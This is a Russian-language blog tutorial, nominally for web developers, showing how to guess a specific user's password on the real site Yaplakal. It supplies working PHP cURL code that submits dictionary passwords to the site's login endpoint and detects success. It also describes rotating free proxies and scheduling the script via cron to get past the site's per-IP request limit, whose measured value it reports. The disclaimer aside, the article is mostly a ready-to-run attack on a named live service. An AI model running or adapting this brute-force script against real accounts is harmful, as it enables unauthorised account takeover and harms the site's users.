Как узнать пароль пользователя на сайте на примере япа
Внимание! Автор статьи не несет никакой ответственности за действия читателей и предупреждает, что неправомерный доступ к информации незаконен! Данная статья выложена исключительно с целью ознакомления с одним из способов взлома веб сайтов и не может служить руководством к реальному действию. Материал предназначен для начинающих веб разработчиков, чтобы они могли примерно представлять себе мысли взломщика хакера и успешно противостоять взлому: создавать эффективную защиту от подбора паролей.
Преподаватели в университете говорят, что лучше всего учиться на примере. Запоминание и осмысление информации гораздо лучше происходит, если сухая теория разбавляется живой демонстрацией. Именно так мы и поступим в данном случае: разберем алгоритм доступа к паролю пользователя на примере сайта Яплакаль. В своем примере мне понадобится следующее:
- Хостинг с возможностью исходящих соединений;
- язык PHP;
- поддержка Curl с отправкой POST;
- файл с паролями (или словарь);
- Cron;
- подключение и парсинг прокси (опционально).
Исследуем форму авторизации
Предположим, что мы определили цель – имеем логин пользователя. Нам требуется узнать, с помощью какого пароля он заходит на сайт. Если мы посмотрим на главную страницу сайта (откроем её исходный код), то увидим, что форма авторизации отсылает данные POST-запроса на страницу с адресом «//www.yaplakal.com/act/Login/CODE/01/». При этом, помимо двух основных полей (логин и пароль) отсылаются еще скрытые поля, но, скажу сразу – они не имеют значения для подбора пароля.
Получаем и обрабатываем страницу
Создадим функцию получения веб-страниц с помощью Curl - get_page:
function get_page($url, $uagent, $us, $pas ) { $ch = curl_init($url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_HEADER, 0); curl_setopt($ch, CURLOPT_ENCODING, ""); curl_setopt($ch, CURLOPT_USERAGENT, $uagent); curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 120); curl_setopt($ch, CURLOPT_TIMEOUT, 120); curl_setopt($ch, CURLOPT_MAXREDIRS, 10); curl_setopt($ch, CURLOPT_POST, true); curl_setopt($ch, CURLOPT_POSTFIELDS, "UserName=".$us."&PassWord=".$pas); $content = curl_exec( $ch ); $err = curl_errno( $ch ); $errmsg = curl_error( $ch ); $header = curl_getinfo( $ch ); curl_close( $ch ); $header['errno'] = $err; $header['errmsg'] = $errmsg; $header['content'] = $content; return $header; }Ничего необычного вы здесь не увидите. Функция принимает на вход 4 параметра (адрес, юзер агент, логин и пароль), а на выходе выдает страницу. Пожалуй, советую обратить внимание только на строки 12 и 13: в них мы определяем, что не просто устанавливаем исходящее соединение, а еще и добавляем в curl параметр Post. Получаемую страницу мы обрабатываем с помощью такой процедуры:
$addr = "http://www.yaplakal.com/act/Login/CODE/01/"; $lines = file('http://site.com/pass.txt'); $us = "логин"; $uagent ="Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.87 Safari/537.36"; for ($i=0;$i<1000;$i++) { $pas= rtrim(str_replace("\n", "", $lines[$i])); //убираем знак перехода и возможный пробел сначала $result = get_web_page($addr, $uagent, $us, $pas); if (($result['errno'] != 0 )||($result['http_code'] != 200)) { echo $result['errmsg']; } else { $page = $result['content']; if (substr_count($page, "Неверный пароль")<1) //проверяем сколько раз встречается строка в странице { echo "Пароль:".$pas; die(); } } }Здесь все до безобразия просто: читаем файл с паролями в массив и пробуем. 1000 раз. Если в ответ выдается страница, в которой отсутствует фраза "Неверный пароль", то прекращаем работу скрипта и выводим на экран подошедший пароль.
Файл с паролями
Интересный момент: а что это за файл pass.txt? Это файл с паролями. Для брутфорса существуют специальные словари, с помощью которых хакеры подбирают пароли. Зачем они нужны? Дело в том, что действую просто перебором, мы даже в самом маленьком пароле для япа (минимальная длина – 8 символов) получаем 256289062500000000 вариантов. Многовато, не правда ли?
Словари с паролями можно составить и самостоятельно. Например, в одной своей статье я показывал самые популярные пароли для mail.ru – можно взять их – в файле почти 200 тысяч паролей.
Однако, стоит отметить, что перед взломщиком здесь встает проблема: за один раз даже 200 тысяч паролей не получится обработать. Во-первых, на каждом хостинге стоит ограниченное время исполнения php-скрипта – ресурсы сервера ограничены. Кроме этого, на каждом уважающем себя сайте стоит хотя бы минимальная защита от такого грубого брутфорса. Например, интернет магазины часто ставят ограничение на количество подключающихся ip в сутки – 2000 запросов хватает обычному пользователю, а не занимающемуся парсингом сайта.
Прокси
Второе затруднение мы можем обойти с помощью прокси. Например, можно брать бесплатные прокси тут. С помощью того же curl просто парсить эту страничку и подставлять полученный ip и порт. Только придется затем немного доработать нашу функцию get_page – добавить пару строк:
curl_setopt ($ch, CURLOPT_PROXY, "202.153.130.214:80"); curl_setopt ($ch, CURLOPT_PROXYTYPE, CURLPROXY_HTTP);В первой адрес и порт прокси, а во второй указываем тип.
Однако, бесплатные прокси не панацея – нередко, даже с уже опробованными браузер может выдать вот такое:
Да и первая проблема никуда не делась – время работы скрипта не уменьшилось. Обойти эту проблему можно с помощью запуска скрипта по расписанию.
Cron
На всех платных хостингах, в том числе и на моем, есть возможность запускать скрипты по расписанию. Зададим, например, выполнение нашего скрипта раз в час:
Сама строка сценария (пример):
/usr/bin/php5.6 /home/u/up/upread.ru/cron.phpТут "/usr/bin/php5.6" - это интерпретатор, "/home/u/up/"— путь до домашней директории (вам надо будет определить его самостоятельно на своем хостинге), а "upread.ru/cron.php" - это уже непосредственно скрипт, который будет подбирать пароли.
Небольшие доработки
Наш скрипт подбора требуется немного доработать. Надо сделать так, чтобы данные куда-то записывались – или в базу данных или в файл. Это несложно, поэтому я пропускаю подробности. Алгоритм тут такой: в конце работы скрип, когда закончит проверять очередную партию паролей, просто записывает номер строки последнего – а файл cron.php через определенное время начинает уже со следующей по порядку.
Итог
Для сайта пациента (яп) параметры на данный момент оказались такими: сайт выдерживает до 1000 запросов со одного ip каждые полчаса. То есть, по 2000 в час или 48 тысяч в сутки. На самом деле это неплохие параметры – обычно защита гораздо строже. Это значит, что наш файл с самыми распространенными паролями от mail.ru проверится полностью меньше, чем за 4 суток. А если взять файл с 16 миллионами паролей? На это с помощью одного потока уйдет более 300-х суток! Однако, так как это выполняет сервер, то вам то какая разница? Плюс подключить десяток прокси – и через месяц с большой вероятностью у вас будет пароль от нужного аккаунта.
Дополнение
Стоит отметить, что взломщики аккаунтов (подборщики паролей) нередко действуют по другой схеме: они парсят с сайта имена (логины) пользователей и с помощью самостоятельно составленного словаря паролей подбирают к ним. То есть атака идет на кого-то конкретного, а «широким фронтом».
В заключение хочу еще раз повторить, что информация предоставлена исключительно для законопослушных веб-мастеров и пользователей, заботящихся о собственной безопасности. Если у вас есть какие-либо вопросы, то я с удовольствием на них отвечу – за небольшое вознаграждение. Напишу любую программу или создам сайт.
Автор этого материала - я - Пахолков Юрий. Я оказываю услуги по написанию программ на языках Java, C++, C# (а также консультирую по ним) и созданию сайтов. Работаю с сайтами на CMS OpenCart, WordPress, ModX и самописными. Кроме этого, работаю напрямую с JavaScript, PHP, CSS, HTML - то есть могу доработать ваш сайт или помочь с веб-программированием. Пишите сюда.
Отправляя сообщение я подтверждаю, что ознакомлен и согласен с политикой конфиденциальности данного сайта.